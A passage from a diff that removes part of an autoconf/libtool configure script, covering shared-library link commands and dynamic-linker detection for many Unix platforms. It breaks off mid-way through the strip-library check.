- reload_cmds='$CC -r -o $output$reload_objs'
- hardcode_direct=no
- ;;
- motorola)
- archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct=no #Motorola manual says yes, but my tests say they lie
- ;;
- esac
- runpath_var='LD_RUN_PATH'
- hardcode_shlibpath_var=no
- ;;
-
- sysv4.3*)
- archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_shlibpath_var=no
- export_dynamic_flag_spec='-Bexport'
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec; then
- archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_shlibpath_var=no
- runpath_var=LD_RUN_PATH
- hardcode_runpath_var=yes
- ld_shlibs=yes
- fi
- ;;
-
- sysv4*uw2* | sysv5OpenUNIX* | sysv5UnixWare7.[01].[10]* | unixware7*)
- no_undefined_flag='${wl}-z,text'
- archive_cmds_need_lc=no
- hardcode_shlibpath_var=no
- runpath_var='LD_RUN_PATH'
-
- if test "$GCC" = yes; then
- archive_cmds='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- fi
- ;;
-
- sysv5* | sco3.2v5* | sco5v6*)
- # Note: We can NOT use -z defs as we might desire, because we do not
- # link with -lc, and that would cause any symbols used from libc to
- # always be unresolved, which means just about no library would
- # ever link correctly. If we're not using GNU ld we use -z text
- # though, which does catch some bad symbols but isn't as heavy-handed
- # as -z defs.
- no_undefined_flag='${wl}-z,text'
- allow_undefined_flag='${wl}-z,nodefs'
- archive_cmds_need_lc=no
- hardcode_shlibpath_var=no
- hardcode_libdir_flag_spec='`test -z "$SCOABSPATH" && echo ${wl}-R,$libdir`'
- hardcode_libdir_separator=':'
- link_all_deplibs=yes
- export_dynamic_flag_spec='${wl}-Bexport'
- runpath_var='LD_RUN_PATH'
-
- if test "$GCC" = yes; then
- archive_cmds='$CC -shared ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds='$CC -G ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- fi
- ;;
-
- uts4*)
- archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_libdir_flag_spec='-L$libdir'
- hardcode_shlibpath_var=no
- ;;
-
- *)
- ld_shlibs=no
- ;;
- esac
- fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ld_shlibs" >&5
-$as_echo "$ld_shlibs" >&6; }
-test "$ld_shlibs" = no && can_build_shared=no
-
-#
-# Do we need to explicitly link libc?
-#
-case "x$archive_cmds_need_lc" in
-x|xyes)
- # Assume -lc should be added
- archive_cmds_need_lc=yes
-
- if test "$enable_shared" = yes && test "$GCC" = yes; then
- case $archive_cmds in
- *'~'*)
- # FIXME: we may have to deal with multi-command sequences.
- ;;
- '$CC '*)
- # Test whether the compiler implicitly links with -lc since on some
- # systems, -lgcc has to come before -lc. If gcc already passes -lc
- # to ld, don't add -lc before -lgcc.
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether -lc should be explicitly linked in" >&5
-$as_echo_n "checking whether -lc should be explicitly linked in... " >&6; }
- $rm conftest*
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
-
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- (eval $ac_compile) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } 2>conftest.err; then
- soname=conftest
- lib=conftest
- libobjs=conftest.$ac_objext
- deplibs=
- wl=$lt_prog_compiler_wl
- pic_flag=$lt_prog_compiler_pic
- compiler_flags=-v
- linker_flags=-v
- verstring=
- output_objdir=.
- libname=conftest
- lt_save_allow_undefined_flag=$allow_undefined_flag
- allow_undefined_flag=
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$archive_cmds 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1\""; } >&5
- (eval $archive_cmds 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }
- then
- archive_cmds_need_lc=no
- else
- archive_cmds_need_lc=yes
- fi
- allow_undefined_flag=$lt_save_allow_undefined_flag
- else
- cat conftest.err 1>&5
- fi
- $rm conftest*
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $archive_cmds_need_lc" >&5
-$as_echo "$archive_cmds_need_lc" >&6; }
- ;;
- esac
- fi
- ;;
-esac
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking dynamic linker characteristics" >&5
-$as_echo_n "checking dynamic linker characteristics... " >&6; }
-library_names_spec=
-libname_spec='lib$name'
-soname_spec=
-shrext_cmds=".so"
-postinstall_cmds=
-postuninstall_cmds=
-finish_cmds=
-finish_eval=
-shlibpath_var=
-shlibpath_overrides_runpath=unknown
-version_type=none
-dynamic_linker="$host_os ld.so"
-sys_lib_dlsearch_path_spec="/lib /usr/lib"
-if test "$GCC" = yes; then
- sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
- if echo "$sys_lib_search_path_spec" | grep ';' >/dev/null ; then
- # if the path contains ";" then we assume it to be the separator
- # otherwise default to the standard path separator (i.e. ":") - it is
- # assumed that no part of a normal pathname contains ";" but that should
- # okay in the real world where ";" in dirpaths is itself problematic.
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
- else
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
- fi
-else
- sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib"
-fi
-need_lib_prefix=unknown
-hardcode_into_libs=no
-
-# when you set need_version to no, make sure it does not cause -set_version
-# flags to be left without arguments
-need_version=unknown
-
-case $host_os in
-aix3*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix $libname.a'
- shlibpath_var=LIBPATH
-
- # AIX 3 has no versioning support, so we append a major version to the name.
- soname_spec='${libname}${release}${shared_ext}$major'
- ;;
-
-aix4* | aix5*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- hardcode_into_libs=yes
- if test "$host_cpu" = ia64; then
- # AIX 5 supports IA64
- library_names_spec='${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}$versuffix $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- else
- # With GCC up to 2.95.x, collect2 would create an import file
- # for dependence libraries. The import file would start with
- # the line `#! .'. This would cause the generated library to
- # depend on `.', always an invalid library. This was fixed in
- # development snapshots of GCC prior to 3.0.
- case $host_os in
- aix4 | aix4.[01] | aix4.[01].*)
- if { echo '#if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 97)'
- echo ' yes '
- echo '#endif'; } | ${CC} -E - | grep yes > /dev/null; then
- :
- else
- can_build_shared=no
- fi
- ;;
- esac
- # AIX (on Power*) has no versioning support, so currently we can not hardcode correct
- # soname into executable. Probably we can add versioning support to
- # collect2, so additional links can be useful in future.
- if test "$aix_use_runtimelinking" = yes; then
- # If using run time linking (on AIX 4.2 or later) use lib<name>.so
- # instead of lib<name>.a to let people know that these are not
- # typical AIX shared libraries.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- else
- # We preserve .a as extension for shared libraries through AIX4.2
- # and later when we are not doing run time linking.
- library_names_spec='${libname}${release}.a $libname.a'
- soname_spec='${libname}${release}${shared_ext}$major'
- fi
- shlibpath_var=LIBPATH
- fi
- ;;
-
-amigaos*)
- library_names_spec='$libname.ixlibrary $libname.a'
- # Create ${libname}_ixlibrary.a entries in /sys/libs.
- finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`$echo "X$lib" | $Xsed -e '\''s%^.*/\([^/]*\)\.ixlibrary$%\1%'\''`; test $rm /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a || exit 1; done'
- ;;
-
-beos*)
- library_names_spec='${libname}${shared_ext}'
- dynamic_linker="$host_os ld.so"
- shlibpath_var=LIBRARY_PATH
- ;;
-
-bsdi[45]*)
- version_type=linux
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- sys_lib_search_path_spec="/shlib /usr/lib /usr/X11/lib /usr/contrib/lib /lib /usr/local/lib"
- sys_lib_dlsearch_path_spec="/shlib /usr/lib /usr/local/lib"
- # the default ld.so.conf also contains /usr/contrib/lib and
- # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allow
- # libtool to hard-code these into programs
- ;;
-
-cygwin* | mingw* | pw32*)
- version_type=windows
- shrext_cmds=".dll"
- need_version=no
- need_lib_prefix=no
-
- case $GCC,$host_os in
- yes,cygwin* | yes,mingw* | yes,pw32*)
- library_names_spec='$libname.dll.a'
- # DLL is installed to $(libdir)/../bin by postinstall_cmds
- postinstall_cmds='base_file=`basename \${file}`~
- dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i;echo \$dlname'\''`~
- dldir=$destdir/`dirname \$dlpath`~
- test -d \$dldir || mkdir -p \$dldir~
- $install_prog $dir/$dlname \$dldir/$dlname~
- chmod a+x \$dldir/$dlname'
- postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
- dlpath=$dir/\$dldll~
- $rm \$dlpath'
- shlibpath_overrides_runpath=yes
-
- case $host_os in
- cygwin*)
- # Cygwin DLLs use 'cyg' prefix rather than 'lib'
- soname_spec='`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- sys_lib_search_path_spec="/usr/lib /lib/w32api /lib /usr/local/lib"
- ;;
- mingw*)
- # MinGW DLLs use traditional 'lib' prefix
- soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
- if echo "$sys_lib_search_path_spec" | grep ';[c-zC-Z]:/' >/dev/null; then
- # It is most probably a Windows format PATH printed by
- # mingw gcc, but we are running on Cygwin. Gcc prints its search
- # path with ; separators, and with drive letters. We can handle the
- # drive letters (cygwin fileutils understands them), so leave them,
- # especially as we might pass files found there to a mingw objdump,
- # which wouldn't understand a cygwinified path. Ahh.
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
- else
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
- fi
- ;;
- pw32*)
- # pw32 DLLs use 'pw' prefix rather than 'lib'
- library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- ;;
- esac
- ;;
-
- *)
- library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
- ;;
- esac
- dynamic_linker='Win32 ld.exe'
- # FIXME: first we should search . and the directory the executable is in
- shlibpath_var=PATH
- ;;
-
-darwin* | rhapsody*)
- dynamic_linker="$host_os dyld"
- version_type=darwin
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${versuffix}$shared_ext ${libname}${release}${major}$shared_ext ${libname}$shared_ext'
- soname_spec='${libname}${release}${major}$shared_ext'
- shlibpath_overrides_runpath=yes
- shlibpath_var=DYLD_LIBRARY_PATH
- shrext_cmds='`test .$module = .yes && echo .so || echo .dylib`'
- # Apple's gcc prints 'gcc -print-search-dirs' doesn't operate the same.
- if test "$GCC" = yes; then
- sys_lib_search_path_spec=`$CC -print-search-dirs | tr "\n" "$PATH_SEPARATOR" | sed -e 's/libraries:/@libraries:/' | tr "@" "\n" | grep "^libraries:" | sed -e "s/^libraries://" -e "s,=/,/,g" -e "s,$PATH_SEPARATOR, ,g" -e "s,.*,& /lib /usr/lib /usr/local/lib,g"`
- else
- sys_lib_search_path_spec='/lib /usr/lib /usr/local/lib'
- fi
- sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib'
- ;;
-
-dgux*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname$shared_ext'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- ;;
-
-freebsd1*)
- dynamic_linker=no
- ;;
-
-kfreebsd*-gnu)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- dynamic_linker='GNU ld.so'
- ;;
-
-freebsd* | dragonfly*)
- # DragonFly does not have aout. When/if they implement a new
- # versioning mechanism, adjust this.
- if test -x /usr/bin/objformat; then
- objformat=`/usr/bin/objformat`
- else
- case $host_os in
- freebsd[123]*) objformat=aout ;;
- *) objformat=elf ;;
- esac
- fi
- version_type=freebsd-$objformat
- case $version_type in
- freebsd-elf*)
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
- need_version=no
- need_lib_prefix=no
- ;;
- freebsd-*)
- library_names_spec='${libname}${release}${shared_ext}$versuffix $libname${shared_ext}$versuffix'
- need_version=yes
- ;;
- esac
- shlibpath_var=LD_LIBRARY_PATH
- case $host_os in
- freebsd2*)
- shlibpath_overrides_runpath=yes
- ;;
- freebsd3.[01]* | freebsdelf3.[01]*)
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
- freebsd3.[2-9]* | freebsdelf3.[2-9]* | \
- freebsd4.[0-5] | freebsdelf4.[0-5] | freebsd4.1.1 | freebsdelf4.1.1)
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- ;;
- freebsd*) # from 4.6 on
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
- esac
- ;;
-
-gnu*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}${major} ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- hardcode_into_libs=yes
- ;;
-
-hpux9* | hpux10* | hpux11*)
- # Give a soname corresponding to the major version so that dld.sl refuses to
- # link against other versions.
- version_type=sunos
- need_lib_prefix=no
- need_version=no
- case $host_cpu in
- ia64*)
- shrext_cmds='.so'
- hardcode_into_libs=yes
- dynamic_linker="$host_os dld.so"
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- if test "X$HPUX_IA64_MODE" = X32; then
- sys_lib_search_path_spec="/usr/lib/hpux32 /usr/local/lib/hpux32 /usr/local/lib"
- else
- sys_lib_search_path_spec="/usr/lib/hpux64 /usr/local/lib/hpux64"
- fi
- sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
- ;;
- hppa*64*)
- shrext_cmds='.sl'
- hardcode_into_libs=yes
- dynamic_linker="$host_os dld.sl"
- shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH
- shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- sys_lib_search_path_spec="/usr/lib/pa20_64 /usr/ccs/lib/pa20_64"
- sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
- ;;
- *)
- shrext_cmds='.sl'
- dynamic_linker="$host_os dld.sl"
- shlibpath_var=SHLIB_PATH
- shlibpath_overrides_runpath=no # +s is required to enable SHLIB_PATH
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- ;;
- esac
- # HP-UX runs *really* slowly unless shared libraries are mode 555.
- postinstall_cmds='chmod 555 $lib'
- ;;
-
-interix3*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- dynamic_linker='Interix 3.x ld.so.1 (PE, like ELF)'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- ;;
-
-irix5* | irix6* | nonstopux*)
- case $host_os in
- nonstopux*) version_type=nonstopux ;;
- *)
- if test "$lt_cv_prog_gnu_ld" = yes; then
- version_type=linux
- else
- version_type=irix
- fi ;;
- esac
- need_lib_prefix=no
- need_version=no
- soname_spec='${libname}${release}${shared_ext}$major'
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext} $libname${shared_ext}'
- case $host_os in
- irix5* | nonstopux*)
- libsuff= shlibsuff=
- ;;
- *)
- case $LD in # libtool.m4 will add one of these switches to LD
- *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ")
- libsuff= shlibsuff= libmagic=32-bit;;
- *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ")
- libsuff=32 shlibsuff=N32 libmagic=N32;;
- *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ")
- libsuff=64 shlibsuff=64 libmagic=64-bit;;
- *) libsuff= shlibsuff= libmagic=never-match;;
- esac
- ;;
- esac
- shlibpath_var=LD_LIBRARY${shlibsuff}_PATH
- shlibpath_overrides_runpath=no
- sys_lib_search_path_spec="/usr/lib${libsuff} /lib${libsuff} /usr/local/lib${libsuff}"
- sys_lib_dlsearch_path_spec="/usr/lib${libsuff} /lib${libsuff}"
- hardcode_into_libs=yes
- ;;
-
-# No shared lib support for Linux oldld, aout, or coff.
-linux*oldld* | linux*aout* | linux*coff*)
- dynamic_linker=no
- ;;
-
-# This must be Linux ELF.
-linux*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -n $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- # This implies no fast_install, which is unacceptable.
- # Some rework will be needed to allow for fast_install
- # before this can be enabled.
- hardcode_into_libs=yes
-
- # Append ld.so.conf contents to the search path
- if test -f /etc/ld.so.conf; then
- lt_ld_extra=`awk '/^include / { system(sprintf("cd /etc; cat %s", \$2)); skip = 1; } { if (!skip) print \$0; skip = 0; }' < /etc/ld.so.conf | $SED -e 's/#.*//;s/[:, ]/ /g;s/=[^=]*$//;s/=[^= ]* / /g;/^$/d' | tr '\n' ' '`
- sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra"
- fi
-
- # We used to test for /lib/ld.so.1 and disable shared libraries on
- # powerpc, because MkLinux only supported shared libraries with the
- # GNU dynamic linker. Since this was broken with cross compilers,
- # most powerpc-linux boxes support dynamic linking these days and
- # people can always --disable-shared, the test was removed, and we
- # assume the GNU/Linux dynamic linker is in use.
- dynamic_linker='GNU/Linux ld.so'
- ;;
-
-knetbsd*-gnu)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- dynamic_linker='GNU ld.so'
- ;;
-
-netbsd*)
- version_type=sunos
- need_lib_prefix=no
- need_version=no
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
- dynamic_linker='NetBSD (a.out) ld.so'
- else
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- dynamic_linker='NetBSD ld.elf_so'
- fi
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
-
-newsos6)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- ;;
-
-nto-qnx*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- ;;
-
-openbsd*)
- version_type=sunos
- sys_lib_dlsearch_path_spec="/usr/lib"
- need_lib_prefix=no
- # Some older versions of OpenBSD (3.3 at least) *do* need versioned libs.
- case $host_os in
- openbsd3.3 | openbsd3.3.*) need_version=yes ;;
- *) need_version=no ;;
- esac
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- case $host_os in
- openbsd2.[89] | openbsd2.[89].*)
- shlibpath_overrides_runpath=no
- ;;
- *)
- shlibpath_overrides_runpath=yes
- ;;
- esac
- else
- shlibpath_overrides_runpath=yes
- fi
- ;;
-
-os2*)
- libname_spec='$name'
- shrext_cmds=".dll"
- need_lib_prefix=no
- library_names_spec='$libname${shared_ext} $libname.a'
- dynamic_linker='OS/2 ld.exe'
- shlibpath_var=LIBPATH
- ;;
-
-osf3* | osf4* | osf5*)
- version_type=osf
- need_lib_prefix=no
- need_version=no
- soname_spec='${libname}${release}${shared_ext}$major'
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- sys_lib_search_path_spec="/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/cc /usr/lib /usr/local/lib /var/shlib"
- sys_lib_dlsearch_path_spec="$sys_lib_search_path_spec"
- ;;
-
-solaris*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- # ldd complains unless libraries are executable
- postinstall_cmds='chmod +x $lib'
- ;;
-
-sunos4*)
- version_type=sunos
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/usr/etc" ldconfig $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- if test "$with_gnu_ld" = yes; then
- need_lib_prefix=no
- fi
- need_version=yes
- ;;
-
-sysv4 | sysv4.3*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- case $host_vendor in
- sni)
- shlibpath_overrides_runpath=no
- need_lib_prefix=no
- export_dynamic_flag_spec='${wl}-Blargedynsym'
- runpath_var=LD_RUN_PATH
- ;;
- siemens)
- need_lib_prefix=no
- ;;
- motorola)
- need_lib_prefix=no
- need_version=no
- shlibpath_overrides_runpath=no
- sys_lib_search_path_spec='/lib /usr/lib /usr/ccs/lib'
- ;;
- esac
- ;;
-
-sysv4*MP*)
- if test -d /usr/nec ;then
- version_type=linux
- library_names_spec='$libname${shared_ext}.$versuffix $libname${shared_ext}.$major $libname${shared_ext}'
- soname_spec='$libname${shared_ext}.$major'
- shlibpath_var=LD_LIBRARY_PATH
- fi
- ;;
-
-sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*)
- version_type=freebsd-elf
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- hardcode_into_libs=yes
- if test "$with_gnu_ld" = yes; then
- sys_lib_search_path_spec='/usr/local/lib /usr/gnu/lib /usr/ccs/lib /usr/lib /lib'
- shlibpath_overrides_runpath=no
- else
- sys_lib_search_path_spec='/usr/ccs/lib /usr/lib'
- shlibpath_overrides_runpath=yes
- case $host_os in
- sco3.2v5*)
- sys_lib_search_path_spec="$sys_lib_search_path_spec /lib"
- ;;
- esac
- fi
- sys_lib_dlsearch_path_spec='/usr/lib'
- ;;
-
-uts4*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- ;;
-
-*)
- dynamic_linker=no
- ;;
-esac
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $dynamic_linker" >&5
-$as_echo "$dynamic_linker" >&6; }
-test "$dynamic_linker" = no && can_build_shared=no
-
-variables_saved_for_relink="PATH $shlibpath_var $runpath_var"
-if test "$GCC" = yes; then
- variables_saved_for_relink="$variables_saved_for_relink GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH"
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to hardcode library paths into programs" >&5
-$as_echo_n "checking how to hardcode library paths into programs... " >&6; }
-hardcode_action=
-if test -n "$hardcode_libdir_flag_spec" || \
- test -n "$runpath_var" || \
- test "X$hardcode_automatic" = "Xyes" ; then
-
- # We can hardcode non-existant directories.
- if test "$hardcode_direct" != no &&
- # If the only mechanism to avoid hardcoding is shlibpath_var, we
- # have to relink, otherwise we might link with an installed library
- # when we should be linking with a yet-to-be-installed one
- ## test "$_LT_AC_TAGVAR(hardcode_shlibpath_var, )" != no &&
- test "$hardcode_minus_L" != no; then
- # Linking always hardcodes the temporary library directory.
- hardcode_action=relink
- else
- # We can link without hardcoding, and we can hardcode nonexisting dirs.
- hardcode_action=immediate
- fi
-else
- # We cannot hardcode anything, or else we can only hardcode existing
- # directories.
- hardcode_action=unsupported
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $hardcode_action" >&5
-$as_echo "$hardcode_action" >&6; }
-
-if test "$hardcode_action" = relink; then
- # Fast installation is not supported
- enable_fast_install=no
-elif test "$shlibpath_overrides_runpath" = yes ||
- test "$enable_shared" = no; then
- # Fast installation is not necessary
- enable_fast_install=needless
-fi
-
-striplib=
-old_striplib=
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether stripping libraries is possible" >&5
-$as_echo_n "checking whether stripping libraries is possible... " >&6; }
-if test -n "$STRIP" && $STRIP -V 2>&1 | grep "GNU strip" >/dev/null; then
- test -z "$old_striplib" && old_striplib="$STRIP --strip-debug"
- test -z "$striplib" && striplib="$STRIP --strip-unneeded"
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; }
-else
-# FIXME - insert some real tests, host_os isn't really good enough
- case $host_os in
- darwin*)
- if test -n "$STRIP" ; then
- striplib="$STRIP -x"
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; }
- else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
- ;;
- *)
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
